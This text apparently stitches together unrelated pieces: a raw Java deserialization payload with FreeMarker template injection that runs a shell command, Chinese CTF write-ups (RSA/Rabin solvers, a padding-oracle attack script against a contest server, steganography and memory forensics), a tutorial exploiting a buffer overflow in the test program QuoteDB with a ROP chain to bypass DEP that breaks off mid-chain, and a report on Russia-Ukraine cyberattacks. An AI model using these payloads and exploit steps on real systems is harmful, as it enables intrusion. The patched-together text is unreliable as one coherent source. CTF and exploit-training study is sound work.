/read?exp=rO0ABXNyABNqYXZhLnV0aWwuSGFzaHRhYmxlE7sPJSFK5LgDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA%2FQAAAAAAACHcIAAAAAgAAAAJzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAMdwgAAAAQAAAAAnQABkFhQWFBYXNxAH4AAj9AAAAAAAAMdwgAAAAQAAAAAXNyACRvcmcucG9zdGdyZXNxbC5kcy5QR1NpbXBsZURhdGFTb3VyY2XHvJ7A3bo18QMAAHhwdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQBMmxvY2FsaG9zdC8%2Fbml2aWE9PCNhc3NpZ24gYWM9c3ByaW5nTWFjcm9SZXF1ZXN0Q29udGV4dC53ZWJBcHBsaWNhdGlvbkNvbnRleHQ%2BPCNhc3NpZ24gZmM9YWMuZ2V0QmVhbignZnJlZU1hcmtlckNvbmZpZ3VyYXRpb24nKT48I2Fzc2lnbiBkY3I9ZmMuZ2V0RGVmYXVsdENvbmZpZ3VyYXRpb24oKS5nZXROZXdCdWlsdGluQ2xhc3NSZXNvbHZlcigpPjwjYXNzaWduIFZPSUQ9ZmMuc2V0TmV3QnVpbHRpbkNsYXNzUmVzb2x2ZXIoZGNyKT4keyJmcmVlbWFya2VyLnRlbXBsYXRlLnV0aWxpdHkuRXhlY3V0ZSI%2FbmV3KCkoImNhdCAvZmxhZyIpfXQAAHQBITwjYXNzaWduIGFjPXNwcmluZ01hY3JvUmVxdWVzdENvbnRleHQud2ViQXBwbGljYXRpb25Db250ZXh0PjwjYXNzaWduIGZjPWFjLmdldEJlYW4oJ2ZyZWVNYXJrZXJDb25maWd1cmF0aW9uJyk%2BPCNhc3NpZ24gZGNyPWZjLmdldERlZmF1bHRDb25maWd1cmF0aW9uKCkuZ2V0TmV3QnVpbHRpbkNsYXNzUmVzb2x2ZXIoKT48I2Fzc2lnbiBWT0lEPWZjLnNldE5ld0J1aWx0aW5DbGFzc1Jlc29sdmVyKGRjcik%2BJHsiZnJlZW1hcmtlci50ZW1wbGF0ZS51dGlsaXR5LkV4ZWN1dGUiP25ldygpKCJjYXQgL2ZsYWciKX1wdXIAAltJTbpgJnbqsqUCAAB4cAAAAAEAAAAAc3IAFGphdmEudXRpbC5Qcm9wZXJ0aWVzORLQenA2PpgCAAFMAAhkZWZhdWx0c3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cQB%2BAAA%2FQAAAAAAACHcIAAAACwAAAAN0AAtsb2dnZXJMZXZlbHQABURFQlVHdAAKbG9nZ2VyRmlsZXQAGC9hcHAvdGVtcGxhdGVzL2luZGV4LmZ0bHQADmNvbm5lY3RUaW1lb3V0dAASMTAwMDAwMDAwMDAwMDAwMDAweHB4cHh0AAZCQkFhQkJzcgARamF2YS51dGlsLlRyZWVNYXAMwfY%2BLSVq5gMAAUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHBzcgArb3JnLmFwYWNoZS5jb21tb25zLmJlYW51dGlscy5CZWFuQ29tcGFyYXRvcuOhiOpzIqRIAgACTAAKY29tcGFyYXRvcnEAfgAaTAAIcHJvcGVydHl0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyACpqYXZhLmxhbmcuU3RyaW5nJENhc2VJbnNlbnNpdGl2ZUNvbXBhcmF0b3J3A1x9XFDlzgIAAHhwdAAKY29ubmVjdGlvbncEAAAAAXQABW5pdmlhc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAF4eHNxAH4AIwAAAAJzcQB%2BAAI%2FQAAAAAAADHcIAAAAEAAAAAJxAH4ABHEAfgAbcQB%2BABhxAH4ABXhxAH4AJXg%3D

 

 

crypto

010101

将前半部分和后半部分分别异或1进行还原,最后得到p

from Crypto.Util.number import long_to_bytes

N = ***
p = ***
m = ***
p = str(p)
e = 65537
flag = False
print(len(p))
for j in range(len(p)):
    p2 = list(p)
    p2[j] = str(int(p[j]) ^ int('1'))  # 将p的第j位与1进行异或
    for i in range(j + 1, len(p)):  # 从p的第j+1位开始遍历
        p3 = list(p2)
        p3[i] = str(int(p[i]) ^ int('1'))  # 将p2的第i位与1进行异或
        if N % int(''.join(p3), 2) == 0:
            modified_p = int(''.join(p3), 2)
            flag = True
            break
    if flag:
        break
q = N // modified_p
phi = (modified_p - 1) * (q - 1)
d = pow(e, -1, phi)
print(long_to_bytes(pow(m, d, N)))

# D0g3{sYuWzkFk12A1gcWxG9pymFcjJL7CqN4Cq8PAIACObJ}

POA

不断构造IV并发送,接收解密结果,恢复AES CBC解密的中间值,最后与IV进行异或得到

from hashlib import sha256
import itertools
import socket
import string
from Crypto.Util.number import long_to_bytes, bytes_to_long


def proof(broke, Hash):
    assert len(broke) == 16 and len(Hash) == 64
    shaTable = string.ascii_letters + string.digits
    for ii in itertools.permutations(shaTable, 4):
        x = ''.join(ii)
        s = x + broke
        if sha256(s.encode()).hexdigest() == Hash:
            print(x)
            return x


def con():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(('124.71.177.14', 10010))
    proof_data = sock.recv(2048)
    send_proof = (proof(proof_data[14:30].decode(), proof_data[32:96].decode())).encode()
    sock.recv(2048)
    sock.send(send_proof)
    data1 = sock.recv(2048)
    print(data1.decode())
    sock.send('1\n'.encode())
    cipher = sock.recv(4096).decode().split(' ')[-1]
    print(cipher)
    guess_iv = [0 for _ in range(16)]
    restore_midd = [0 for _ in range(16)]
    index = 1

    for i in range(15, -1, -1):
        for j in range(0, 256):
            sock.send('2'.encode())
            txt = sock.recv(4096).decode()
            guess_iv[i] = j
            mess = bytes(guess_iv).hex() + cipher[32:]
            sock.send(('%s\n' % mess).encode())
            result = sock.recv(4096).strip().decode()
            if result == 'True':
                print('find')
                restore_midd[i] = index ^ j
                for k in range(15, i - 1, -1):
                    guess_iv[k] = restore_midd[k] ^ (index + 1)
                break
        index += 1

    m = bytes_to_long(bytes(restore_midd)) ^ int(cipher[:32], 16)
    print(long_to_bytes(m))


if __name__ == '__main__':
    con()

Rabin

解方程恢复e1, e2
解RSA+RSA Rabin

from Crypto.Util.number import isPrime, long_to_bytes
from decimal import Decimal, getcontext
from sympy import *
import itertools
import gmpy2
getcontext().prec = 4096  # To get all digits


def quadratic(b, c):
    b, c = Decimal(b), Decimal(c)
    disc = b ** 2 - 4 * c
    return (-b + disc.sqrt()) / 2, (-b - disc.sqrt()) / 2


n = 250814637051807819966792611245960610922650272171774421100096725362876110354331644672361070288421932814011240278013930236506935606208856158245203226575206173399353228955646434946185162337249508916173886601690750176079643923598040239558820163968619858461299932945052867416892052800080380065469520552769729908237916948231811852512702334673059498173828710097943836553665421008502790227505238045663138503444330272778394062239358945912631242535901236920740968520395320695821881700272436374765803456467229511027996411612705127440152548517761802229692762942039810655711762857733655968843311390554894490989464889063115195307376546315206091850157113517967028388112696773322299195386885674487736953704278131208605733928620385647653506188387270203806469091593555942596009391614056683438954798377100513743826890914546813802825956772601161008749865452605755445313141047898707485333785540081269386385654187051443297745903924802393853636159179216465330611652590550085005018159338383332480775331023418636856327968211907
inv_p = 18572680482956333849695203716461713104773047923602099298094682396862191850514405358287530759577107822437397076448196882484810348534389142512538132336772660002619635584317411507556898261467535786390472312057865009529503815275471152631242674775023579999529144217652870406017527500924054906365970316171601724395
inv_q = 136535048380593205200147274200607623672178047616047871024461976135751463050074132537068629202262492753981526789311501011207084603084500046237452580036584406621193450044354252290673799669278685039786072212806149907642025392079172459205884032545048534994511661271942133535933734878627347694553081776269463131011
c1 = 24438369699277358577099809092522666507794264940897211362396512304628436041222873422281052071040304574363510205249804316939250072085516605409716236630122437693098107965690357983662511641360852519159201210407149426013456665654927559031576450707769140579811457087575821158806216834589419118616293649134570029348864168061503995325421166403367212784956918879123538609647020213238539717446246806658900303124564032457968947891973269315221759825010175759282900948586059414233078011374547085622341941301930819816001572766834718060688545069956096308661744521329011217013954462888420216389590625029416601914841651975749769319907679957725817987535287875463052512829357180018005408137318173906769605861407680810593420749995979362702366940275048900413734250464314983304164277188084351968745605375769912296693849464371792448471466297537539956183639108372537896814803224393949374263943947266927232857089835606620154448584587895531774998281005520646293399213187296591877953310626414259916310440526985379452834140797344
c2 = 223295770243896926174824405932791118562132019446137106707499244470470652130983482933886296317979962549790414754161520435096091469226090668617978924038597496895109870016050016361204593776094886916554978524328312654899592058243030170843460725094455369392386666825873918339575610780772636586002747595613558066320125773587684070090772498121214867506696972158540355910065773892648404521506595636503850295827650330993678348250267770526157595871258640949265795928803796357149879172931040916773382169296914793584970211453674931039251561404963603173087988508276297347805041885971003956420812510128302146772371481501739596756529250961807845809297176387467035756066576014695851369095199182667219429449627072080517064563211041402250659878953388165820020061897516163246110562240123389210713625152448308461232879889286613844389367421303837747532095262647017908028398324773681913209915202010758289748837739798240683937739276900417861582443180262419471329076908687714213527415105489215148326758425520069134366726191206
r = 2
while True:
    r = r * 8
    if r.bit_length() > 1024 and isPrime(r - 1):
        r = r - 1
        break
print(int(r))
pq = n // r

k1k2 = inv_p * inv_q - 1
alpha_times_beta = k1k2 * pq
alpha_plus_beta = pq * inv_p * inv_q - 1 - k1k2 * pq
e1 = 2
e2 = 5
alpha, beta = quadratic(-alpha_plus_beta, alpha_times_beta)
p = gcd(pq, int(alpha))
q = gcd(pq, int(beta))
assert p * q == pq
p, q = symbols("p q")
eq1 = Eq(inv_p * p + inv_q * q - pq - 1, 0)
eq2 = Eq(p * q, pq)
sol = solve((eq1, eq2), (p, q))
print(sol)
p = int(155067211748080035817706240824444294173177315452053655302198450440797223063993902553854738130782449160496432645166392115875035577949847055717925643946457912682751338169862368227051614666060761234405201526539028698479896781769397552330889288635473271948706547821980919655770653459515096024615873307927376930323)
q = int(155406237257371285686734630614272846342794427544939674750800108880031404165544180838277971813657235395399719426255865993550582439955633684106295486647395174391393520922781711164275517262754514023537536287360365851886349215688978809822032291068515106418115813510512126616124030805066436158518403149436994756207)
print(isPrime(p), p)
print(isPrime(q), q)
print(isPrime(r))
phi = (p - 1) * (q - 1) * (r - 1)
print(phi)
d2 = gmpy2.invert(e2, phi)
m2 = pow(c2, d2, n)
print(long_to_bytes(m2))
mp = pow(c1, (p + 1) // 4, p)
mq = pow(c1, (q + 1) // 4, q)
mr = pow(c1, (r + 1) // 4, r)

bp = n // p
bq = n // q
br = n // r
ap = pow(bp, -1, p)
aq = pow(bq, -1, q)
ar = pow(br, -1, r)

for sp, sq, sr in itertools.product((-1, 1), repeat=3):
    m = (sp * ap * bp * mp + sq * aq * bq * mq + sr * ar * br * mr) % n
    m = long_to_bytes(m)
    if b"D0g3" in m:
        print(m)
 

misc

dacongのsecret

得到一个压缩包和一个png

用工具或者脚本提取一下水印得到密码

QQ截图20231031201722.jpg
QQ截图20231031201800.jpg
得到一个password的d@C0ng 1s cUt3!!!
根据题目提示推出png不止一个秘密
继续用pngcheck打开dacong1hao.png
QQ截图20231103161610.png
发现在尾部的idat头不对
010打开
找到有两个IDATx
直接手动搜索IDATx把第一部分IDATx删掉
QQ截图20231115183749.png
保存后得到如下图片
QQ截图20231127224849.png
爆破一下宽高得到key
QQ截图20231127225006.png
wH1T3_r0cckEt_sh00ter
猜测可能是后边用到的
用前边水印的密码打开压缩包得到一张jpg
用010打开末尾有一串hex值
QQ截图20231115185454.png
根据特征判断是一个压缩包的hex值倒序
手动提取出来打开发现需要密码
正好用之前的key解开
得到一串base64密文
由于有很多行base
猜测可能是base64隐写
用以下脚本跑出base64隐写的数据

d='''str
'''
e=d.splitlines()
binstr=""
base64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
for i in e :
    if i.find("==")>0:
        temp=bin((base64.find(i[-3])&15))[2:]
        #取倒数第3个字符,在base64找到对应的索引数(就是编码数),取低4位,再转换为二进制字符
        binstr=binstr + "0"*(4-len(temp))+temp #二进制字符补高位0后,连接字符到binstr
    elif i.find("=")>0:
        temp=bin((base64.find(i[-2])&3))[2:] #取倒数第2个字符,在base64找到对应的索引数(就是编码数),取低2位,再转换为二进制字符
        binstr=binstr + "0"*(2-len(temp))+temp #二进制字符补高位0后,连接字符到binstr
str=""
for i in range(0,len(binstr),8):
    str=str+chr(int(binstr[i:i+8],2)) #从左到右,每取8位转换为ascii字符,连接字符到字符串
print(str) 

得到一个pass
m1ku_1s_sha_fufu123
QQ截图20231101223417.jpg
最后用该秘密通过jphs解出得到flag
QQ截图20231102195944.jpg
打开得到flag
image-20231224135701085
flag{d@C0ng_1s_r3@lIy_Re@iLY_Cute}

 

dacongのWindows

由于win10可能不怎么兼容vol2,需要制作profile,所以建议使用vol3解题
QQ截图20231115192308.png
首先文件检索一下关键词wav,可以发现有很多的wav,暂时先放着
继续搜索一下txt关键词
QQ截图20231115192429.png
这里找到两个关键的txt,先dump下来看下
QQ截图20231115192531.png
先打开看一下do_you_want_listen
QQ截图20231115192616.png
do_you_want_liten.txt里提示了miku有一首歌叫做’???music‘
搜索一下歌名可以知道歌曲叫做39music!
QQ截图20231108193721.png
结合文件名以及该txt所在的位置猜测是对之前的wav提示
那么把dacong39.wav下载出来
QQ截图20231115192943.png
打开听一下是sstv
那么手机打开robot36得到第一段flag
QQ图片20231108194442.jpg
flag{Ar3_Th3Y
然后这里笨B出题人做镜像忘记把winrar打开了
但是也可以通过rar关键词找到一个rar
QQ截图20231115193359.png
一样dump下来
解压后是flag2
QQ截图20231115193455.png
根据翻译推测可能是snow加密
QQ截图20231109135844.png
直接解一下,发现是无密码的snow
QQ截图20231109142315.png
得到第二段flag
_tHE_Dddd
然后回头看之前的flag3
QQ截图20231115193712.png
是一串加密,但是结合题目的描述,有什么重要的表被修改,猜测需要密钥
在注册表里找到
QQ截图20231115193958.png
解一下是aes
得到第三段flag
QQ截图20231110140108.png
dAc0Ng_SIst3Rs???}
flag{Ar3_Th3Y_tHE_DddddAc0Ng_SIst3Rs???}

 

 

疯狂的麦克斯

麦克斯的称号这个文件存在0宽隐写
解密得到 mks007
打开嗨.zip,存在一个docx文件,可以直接改后缀为zip,也可以Binwalk分离出来,这里就存在一个 MKS IM麦克斯.txt这个文件1o1tvvkgyrw13506.png
打开txt文件得到
p2sipmw0m4r13511.png
翻到最下面有
4f4im1qbjnb13514.png
凭这里看出应该是某种加密
结合前面的mks007,可能是凯撒偏移
尝试将mks007转换为整数,进行凯撒偏移,得到THISISMKSDOYOUKNOWWHOAMI
(预期外:通过维吉尼亚解密,密钥为e,通过rot13,为22)
此时对整个文档进行偏移

def caesar_decipher(text, shift):
    result = ""

    for char in text:
        if char.isalpha():
            alphabet = ord('a') if char.islower() else ord('A')
            shifted = (ord(char) - alphabet - shift) % 26  # 逆向偏移
            result += chr(alphabet + shifted)
        else:
            result += char

    return result

# 读取加密后的文件内容
with open('MKS.txt', 'r') as file:
    encrypted_content = file.read()

# 自定义偏移量
offset = "mks007"

# 将偏移量转换为整数
shift = sum(ord(char) for char in offset) - len(offset) * ord('a')

# 对内容进行逆向凯撒偏移
decrypted_content = caesar_decipher(encrypted_content, shift)

# 将解密后的内容写入新文件
with open('mksnew.txt', 'w') as file:
    file.write(decrypted_content)

此时作用于文件所有内容,然后根据麦克斯MAX遍历出其中最大值,得到456788P。
虽然好像都是通过直接爆破得来的,不过也能爆破,也算是一种解
FLAG的密码就是456788P base64后的
NDU2Nzg4UA==
D0g3{Th1s_REA11Y_MAX_F1A4_GGB0ND}

 

Nahida

题目给一个压缩包
里面有一个txt文件和一个Nahida文件
其中txt仅作为提示(wink眨眼睛,和眼睛有关),并没有藏东西
查看另一个文件
image.png
可以看到是FF D8 FF E0倒过来的,所以写脚本进行倒置
Nahida是通过脚本加密的,原文件为一个jpg文件,通过对hex进行分组前后交换得到
故写解密脚本

def swap_positions(hex_string):
    # 将每两位进行位置交换
    swapped = ''.join([hex_string[i+1] + hex_string[i] for i in range(0, len(hex_string), 2)])

    return swapped

def decrypt_image_hex(encrypted_image_path):
    # 打开加密的文件
    with open(encrypted_image_path, 'rb') as file:
        encrypted_data = file.read()

    # 将加密的字节数据转换为16进制字符串
    encrypted_hex = encrypted_data.hex()

    # 组间交换位置
    swapped_hex = swap_positions(encrypted_hex[::-1])

    # 组内交换位置
    grouped_hex = [swap_positions(swapped_hex[i:i+2]) for i in range(0, len(swapped_hex), 2)]

    # 将16进制字符串转换回字节数据
    decrypted_data = bytes.fromhex(''.join(grouped_hex))

    # 生成解密后的文件
    decrypted_image_path = 'decrypted_image.jpg'
    with open(decrypted_image_path, 'wb') as decrypted_file:
        decrypted_file.write(decrypted_data)

    return decrypted_image_path

# 测试解密函数
encrypted_image_path = 'test.jpg'  # 替换为加密图片的路径
decrypted_image_path = decrypt_image_hex(encrypted_image_path)
print("解密后的文件路径:", decrypted_image_path)

得到jpg,在图片的最后看到一串字符串,
image.png
提示 神之眼(再次提示静默之眼),以及眼的密码在最开始就得到,也就是题目名Nahida
d0g3{Nahida_is_the_best_in_the_world!}

 

原文链接地址:https://dce.i-soon.net/#/group/detail/31

DEP(數據執行保護)是一種內存保護功能,允許系統將內存頁標記為不可執行。 ROP(面向返回的編程)是一種利用技術,允許攻擊者在啟用DEP等保護的情況下執行shellcode。在這篇文章中,我們將介紹應用程序的逆向過程,以發現緩衝區溢出漏洞,並開髮用於繞過DEP的ROP小工具鏈(Gadget Chain)。

我們將在開發過程中使用以下工具:QuoteDB、TCPView(一個查看端口和線程的小工具,只要木馬在內存中運行,一定會打開某個端口,只要黑客進入你的電腦,就有新的線程)、IDA Freeware、WinDbg(在windows平台下,強大的用戶態和內核態調試工具)和rp++。

QuoteDB是一個設計上易受攻擊的應用程序,創建它是為了實踐逆向工程並利用它進行開發。如下圖所示,該應用程序正在偵聽端口3700上的網絡連接:

1.jpg

我們已經使用TCPView確認程序確實在監聽端口3700。

2.jpg

現在我們需要對應用程序進行逆向工程,看看它是如何處理網絡連接的。 accept函數用於允許指定端口上的傳入連接,然後進程創建一個運行“handle_connection”例程的新線程,如下所示:

3.jpg

recv函數用於從連接的套接字接收數據:

4.jpg

我們已經開發了一個基本的Python腳本,它創建一個TCP套接字,並在端口3700上向遠程服務器發送1000個“a”字符:

5.jpg

我們已將WinDbg附加到QuoteDB.exe進程,並列出了加載的模塊,如下圖所示。

6.jpg

我們可以使用“bp”命令在recv函數調用後放置斷點,使用“bl”命令確認斷點已成功設置:

7.jpg

recv函數返回後,EAX寄存器包含以十六進制接收的字節數:

8.jpg

緩衝區的前4個字節表示一個操作碼,該操作碼被移到EAX寄存器中,然後打印在命令行中:

9.jpg

下圖顯示了WinDbg中的printf調用,我們可以觀察到第三個參數(=Opcode)由4個“A”字符組成:

10.jpg

該進程顯示源IP地址、源端口、緩衝區長度和十進制的操作碼:

11.jpg

應用程序從Opcode中減去0x384(十進制900),並將結果與4進行比較。這是一個帶有5個示例的開關,也顯示在下圖中。

12.jpg

EAX寄存器大於4,執行流被重定向到默認情況,該情況調用“log_bad_request”函數:

13.jpg

上述函數包含緩衝區溢出漏洞,如下圖所示,可執行文件在堆棧上分配0x818(2072)字節,用0初始化緩衝區,並在不檢查邊界的情況下將有效負載複製到此緩衝區:

14.jpg

發生溢出是因為要復制的字符數(0x4000)大於緩衝區的大小,並且可能會重寫返回地址:

15.jpg

我們選擇發送3000個“A”字符以利用該漏洞。如下所示,返回地址在堆棧上被重寫,程序因此崩潰:

16.jpg

17.jpg

我們使用了“msf-pattern_create”命令來生成一個唯一的模式,該模式將為我們提供偏移量。

18-1536x180.jpg

應用程序在不同的地址崩潰,該地址用於使用“msf-pattern_offset”命令確定精確的偏移量:

19.jpg

20.jpg

我們修改了概念證明,以包括上述偏移量。在正確的地址崩潰後,ESP寄存器指向我們控制的緩衝區的最後一部分:

21.jpg

22.jpg

我們使用了narly WinDbg擴展來顯示加載的模塊及其內存保護,下圖顯示了該可執行文件是在啟用ASLR和DEP保護的情況下編譯的。

23.jpg

Windows Defender Exploit Guard可以用來啟用/禁用ASLR。我們需要進入“Exploit protection settings”,選擇“Program settings”頁簽,點擊“Add Program to custom”,選擇“Choose exact file path”選項:

24.jpg

25.jpg

我們想通過發送從“\x00”到“\xFF”的所有字節並確定它們如何寫入堆棧來找出哪些字符被認為是“不適合”的:

26-1.jpg

如下圖所示,沒有不適合的字符,不過為了研究,我們將“\x00”視為不適合字符,因為它通常是不適合字符。正因為如此,漏洞開發過程稍微複雜一些,但它可能更容易適應其他應用程序。

27.jpg

我們使用rp++工具從“SysWOW64\kernel32.dll”模塊中提取ROP小工具,因為ASLR是禁用的,所以我們可以選擇任何提供必要ROP小工具的DLL,但是,我們將在以後的文章中看到應用程序洩漏特定DLL中的地址。我們已將小工具中的最大指令數設置為5:

28.jpg

29.jpg

由於DEP保護,堆棧不再是可執行的,我們需要找到執行shellcode的方法。我們可以使用VirtualAlloc、VirtualProtect和WriteProcessMemory等API來繞過DEP。 VirtualAlloc函數用於保留、提交或更改進程地址空間中頁面的狀態。該函數有4個參數:

lpAddress

dwSize

flAllocationType

flProtect

我們的目的是將flAllocationType參數設置為0x1000(MEM_COMMIT),將flProtect設置為0x40(PAGE_EXECUTE_READWRITE)。我們需要在堆棧上創建以下框架:

VirtualAllocaddress

Returnaddress(Shellcodeaddress)

lpAddress(Shellcodeaddress)

dwSize(0x1)

flAllocationType(0x1000)

flProtect(0x40)

我們為每個元素分配了一個特定的值,需要在運行時使用正確的值對其進行修改。

30-1.jpg

如下圖所示,可以在ESP寄存器的固定偏移處找到框架:

31.jpg

kernel32.dll模塊的起始地址可以使用WinDbg來標識。所有ROP小工具的地址必須使用該值而不是“ROP.txt”文件中的加載地址來計算:

32.jpg

首先,我們需要找到一個保存ESP寄存器值的ROP小工具。我們確定了一個將ESP寄存器複製到ESI寄存器的寄存器:

33.jpg

我們修改了Python腳本,以包含kernel32地址和上述ROP小工具偏移量,如下所示:

34-1.jpg

我們已經成功地將執行流程重定向到我們的第一個ROP小工具,接著將其他ROP小工具鏈接在一起,因為ESP仍然指向我們的緩衝區:

35.jpg

36.jpg

現在我們需要找到從ESI寄存器中減去0x1C的方法。然而,由於缺少涉及使用ESI寄存器進行計算的ROP小工具,我們找到了一個將ESI寄存器複製到EAX中的ROP小工具。唯一的問題是ESI也被“POP ESI”指令修改,但是,它不會影響我們的利用:

37.jpg

38.jpg

在許多ROP小工具中發現的另一個寄存器是ECX。我們已經確定了一個ROP小工具,它從堆棧中彈出一個值到ECX寄存器中,另一個小工具將EAX和ECX寄存器加在一起。加上負值等於減去相同的正值:

39.jpg

40.jpg

通過在之前的EAX值上添加-0x1C (=ECX)值,EAX指向VirtualAlloc框架:

41.jpg

因為EAX在任何計算中都很有用,所以我們需要在執行任何其他操作之前找到保存它的方法。我們發現了一個ROP小工具,它將EAX寄存器複製到ECX中,ECX將用於修改框架中的值。事實上,EAX也被這個ROP小工具修改了,但這並不影響我們的利用:

42.jpg

我們修改後的概念證明如下圖所示。 “junk”值對堆棧對齊很有用,對應於“POP reg”和“retn4”指令。

43.jpg

再次運行Python腳本後,我們可以觀察到ECX寄存器的值與之前的EAX寄存器相同,並指向VirtualAlloc框架:

44.jpg

IAT(導入地址表)包含指向由其他DLL導出的函數的指針。例如,kernel32.dll在VirtualAlloc的IAT中有一個條目,即使VirtualAlloc實際地址發生變化,該條目也保持不變:

45.jpg

我們使用了“POP EAX”指令將VirtualAlloc IAT複製到EAX寄存器中,需要對其進行解除引用才能獲得VirtualAlloc地址,如下所示:

46.jpg

47.jpg

在更新Python腳本並再次運行之後,我們成功地獲得了EAX中的VirtualAlloc地址:

1.png

2022年2月24日之前的重大網絡事件時間表

在現代世界,發動任何類型的軍事行動之前都必將出現大規模的網絡攻擊活動,這反過來可以通過監測潛在衝突地區新出現的網絡攻擊來預測衝突發展情況。例如,在2013年末和2014年1月,研究人員觀察到Turla APT組織在烏克蘭的活動高於正常水平,並且BlackEnergy APT攻擊事件數量激增。同樣,在2022年2月初,研究人員注意到與Gamaredon CC服務器相關的活動量大幅飆升。這一活動達到了迄今為止從未見過的水平,這意味著為大規模的SIGINT(信號情報,通過攔截信號收集)收集工作正在進行。

2.png

如這些案例所示,在現代軍事衝突之前的幾天和幾週內,網絡戰中會出現與情報收集和破壞性攻擊有關的顯著跡象和峰值。當然,我們應該注意到,相反的情況也是可能的:例如,從2016年6月開始,但最值得注意的是,自2016年9月一直到2016年12月,Turla組織將其基於衛星的CC註冊量提高了2015年平均值的十倍。這表明Turla組織異常活躍,這表明該組織前所未有地調動了資源。與此同時,據我們所知,沒有發生隨後的軍事衝突。

如今的軍事行動是在實地收集支持情報之後進行的;這包括SIGINT和ELINT等。重大軍事行動(如2003年入侵伊拉克)還輔以旨在使敵人通信網絡癱瘓的強大網絡攻擊,在2022年2月,研究人員注意到與Gamaredon CC服務器相關的活動大幅增加,2013年底和2014年初,Turla和BlackEnergy的APT活動也出現了類似的激增。在軍事衝突發生前的幾天或幾週內,網絡戰會出現明顯的跡象和高峰。

在俄烏衝突衝突的第一天(2022年2月24日),烏克蘭實體遭受了大規模的無差別雨刷攻擊。這些攻擊的主要目標可能是造成混亂和混亂,而不是實現精確的戰術目標。相反,這一階段所使用的工具在本質上也是多種多樣的:

Ransomware (IsaacRansom);

冒牌勒索軟件(WhisperGate);

雨刷(hermetwiper, CaddyWiper, DoubleZero, IsaacWiper);

ICS/OT雨刷(AcidRain, industrroyer2)。

其中一些特別複雜。據我們所知,HermeticWiper仍然是野外發現的最先進的雨刷軟件。 industrroyer2是在一家烏克蘭能源供應商的網絡中發現的,如果攻擊者無法訪問與受害者使用的相同ICS設備,則不太可能開發它。也就是說,從軟件工程的角度來看,這些工具中的許多都非常粗糙,似乎是匆忙開發出來的。

除了AcidRain(見下文)之外,我們認為這些不同的破壞性攻擊都是隨機的和不協調的——而且我們認為,在戰爭的宏偉計劃中影響有限。

Viasat事件2月24日俄烏衝突爆發時,覆蓋烏克蘭地區的美國衛星運營商Viasat遭遇網絡攻擊,導致數千烏克蘭用戶、數万名歐洲其他地區用戶斷網。經調查,攻擊者利用錯誤配置的VPN設備入侵衛星網管理後台,向數万用戶側Modem下發破壞性指令,從而造成斷網。 KA-SAT衛星網絡曾經被“烏克蘭軍方所頻繁使用”。在被攻擊期間,中歐及東歐地區的KA-SAT衛星服務均發生中斷。這次通信服務中斷也影響到了德國,導致負責控制約5800颱風力渦輪機的調製解調器無法正常聯網。此外,來自法國、意大利、匈牙利、希臘和波蘭的客戶也受到不同程序影響。 5月10日,歐盟將這些惡意活動歸咎於俄羅斯聯邦。這是迄今為止與烏克蘭衝突有關的最複雜的攻擊之一。雖然破壞活動可能沒有嚴重破壞烏克蘭的防禦,但它在戰場之外產生了多重影響。刺激美國參議院要求在衛星網絡安全問題上採取行動,加速SpaceX Starlink的部署。

ViaSat的攻擊活動再次表明,網絡攻擊是現代武裝衝突的基本組成部分,可能直接支持軍事行動。在武裝衝突期間,針對共同通信基礎設施的網絡攻擊極有可能發生,因為交戰方可能認為這些攻擊具有雙重用途。由於互聯網的相互關聯性,針對此類基礎設施的網絡攻擊可能會對未捲入武裝衝突的各方產生副作用。網絡攻擊引發了人們對商業衛星系統網絡安全的擔憂,這些系統可能支持從自拍地理定位到軍事通信等各種應用。雖然軍事力量經常討論針對太空動能戰鬥的保護措施,而且更多的數據中心有望很快升空,但地面站管理系統和運營商似乎仍然高度暴露在常見的網絡威脅之下。

專業勒索軟件組織、黑客活動和DDoS攻擊一如既往,戰爭對信息格局有著非常具體的影響。在2022年尤其如此,因為人類已經掌握了有史以來最強大的信息傳播工具:社交網絡及其充分證明的放大效應。大多數真實世界中與戰爭有關的事件(小規模衝突、死亡人數、戰俘證詞)都在網上被放大。傳統新聞媒體也受到更廣泛的信息戰背景的影響。

DDoS攻擊和在較小程度上破壞隨機網站一直被安全社區視為低複雜性和低影響的攻擊。特別是DDoS攻擊,需要產生大量的網絡流量,攻擊者通常無法維持很長一段時間。一旦攻擊停止,目標網站就會恢復可用。除了電子商務網站暫時的收入損失,DDoS攻擊或破壞提供的唯一價值是受害者的羞辱。由於非專業記者可能不知道各種類型的安全事件之間的區別,他們隨後的報導造成了一種無能和安全不足的印象,可能會削弱用戶的信心。網絡攻擊的不對稱性質在支持大衛與歌利亞的形象方面發揮了關鍵作用,在網絡領域的象徵性勝利有助於說服地面部隊,在現實戰場上也可以取得類似的成就。

根據卡巴斯基DDoS防護公司的數據,自2022年初以來的11個月裡,該服務註冊的攻擊次數比2021年全年多了1.65次。雖然這種增長可能不是很顯著,但與2021年相比,這些資源受到攻擊的時間更長。在2021年,平均攻擊持續約28分鐘,在2022年- 18.5小時,幾乎是原來的40倍。最長的一次攻擊在2021年持續了2天,2022年持續了28天(或2486505秒)。

3.png

2021與2022年卡巴斯基DDoS防護檢測到的DDoS攻擊總持續時間(秒),按週計算

自戰爭開始以來,一些有明顯政治傾向的黑客組織已經出現,並開始開展一些活動。例如,臭名昭著的匿名組織組織了一場活動,將數十輛出租車同時叫到同一個地點,造成了莫斯科的交通堵塞。

卡巴斯基DDoS防護也反映了這一趨勢。大規模DDoS攻擊在一年中分佈不均,春季和初夏是最激烈的時期。

4.png

2021與2022年卡巴斯基DDoS防護檢測到的DDoS攻擊數,按週計算

